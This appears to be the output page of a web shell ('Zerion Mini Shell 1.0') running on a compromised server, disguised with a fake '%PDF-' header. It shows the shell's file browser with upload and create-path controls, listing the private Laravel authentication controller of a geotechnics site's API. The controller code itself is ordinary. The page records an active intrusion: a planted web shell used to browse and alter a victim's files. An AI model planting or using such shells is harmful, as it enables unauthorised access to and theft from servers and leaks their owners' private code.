%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/geotechnics/api/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : /var/www/html/geotechnics/api/app/Http/Controllers/Api/v1/AuthController.php

<?php

namespace App\Http\Controllers\Api\v1;


use App\Http\Controllers\Api\ApiController;
use App\Http\Requests\Api\v1\Users\ChangePasswordRequest;
use App\Http\Requests\Api\v1\Users\ConfirmAccountRequest;
use App\Http\Requests\Api\v1\Users\RegisterRequest;
use App\Models\Subscription;
use App\Models\User;
use App\Notifications\VerificationEmail;
use App\Transformers\UserTransformer;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\DB;
use Laravel\Passport\Bridge\AccessToken;

class AuthController extends ApiController
{
    public function register(RegisterRequest $request)
    {
        DB::beginTransaction();
        try {
            /** @var User $user */
            $user = User::query()
                        ->create([
                            'email'             => $request->get('email'),
                            'password'          => $request->get('password'),
                            'confirmation_code' => User::generateRandomToken(30),
                            'is_enabled'        => true,
                        ]);

            $user->companyProfile()
                 ->updateOrCreate([
                     'name'    => $request->get('name'),
                     'company' => $request->get('company'),
                     'email'   => $request->get('email'),
                 ]);

            /** @var Subscription $subscription */
            Subscription::query()
                        ->updateOrCreate([
                            'email' => $request->get('email'),
                        ], [
                            'email'         => $request->get('email'),
                            'is_subscribed' => true,
                        ]);

            DB::commit();

            $user->notify(new VerificationEmail);
            return $this->item($user, new UserTransformer);
        } catch (\Exception $e) {
            DB::rollBack();
            return $this->wrongArguments([
                'message' => $e->getMessage(),
            ]);
        }
    }

    public function login(Request $request)
    {
        if (Auth::attempt(['email' => $request->get('email'), 'password' => $request->get('password')])) {
            /** @var User $user */
            $user = Auth::user();
            if (!$user->is_confirmed) {
                return response()->json(['error' => 'Account is not confirmed yet.'], 401);
            }
            if (!$user->is_enabled && $user->roles()
                                           ->count() > 0) {
                return response()->json(['error' => 'Account is disabled, contact your system administrator for more information.'], 401);
            }

            $accessToken = $user->createToken('api')->accessToken;
            return response()->json([
                'token' => $accessToken,
            ], 200);
        } else {
            return response()->json(['error' => 'We couldn\'t find any account matching your credentials!'], 401);
        }
    }

    public function me()
    {
        $user = auth()
            ->guard('api')
            ->user();
        return $this->item($user, new UserTransformer);
    }

    public function changePassword(ChangePasswordRequest $request)
    {
        /** @var User $user */
        $user = auth()
            ->guard('api')
            ->user();
        $user->password = $request->get('password');
        $user->save();
        return $this->item($user, new UserTransformer);
    }

    public function logout()
    {
        if (Auth::check()) {
            /** @var AccessToken $accessToken */
            $accessToken = Auth::user()
                               ->token();
            DB::table('oauth_refresh_tokens')
              ->where('access_token_id', $accessToken->id)
              ->update([
                  'revoked' => true,
              ]);

            $accessToken->revoke();
            return response()->json(null, 204);
        }
    }

    /**
     * @param ConfirmAccountRequest $request
     */
    public function confirmAccount(ConfirmAccountRequest $request)
    {
        /** @var User $user */
        $user = User::getUserByConfirmationCode($request->get('token'));
        $user->confirmAccount(true);
    }

    public function getCounters()
    {
        $clientsToConfirm = User::query()
                                ->where('is_enabled', false)
                                ->whereHas('companyProfile')
                                ->count();
        return response()->json([
            'clients_to_confirm' => $clientsToConfirm,
        ], 200);
    }

}

Zerion Mini Shell 1.0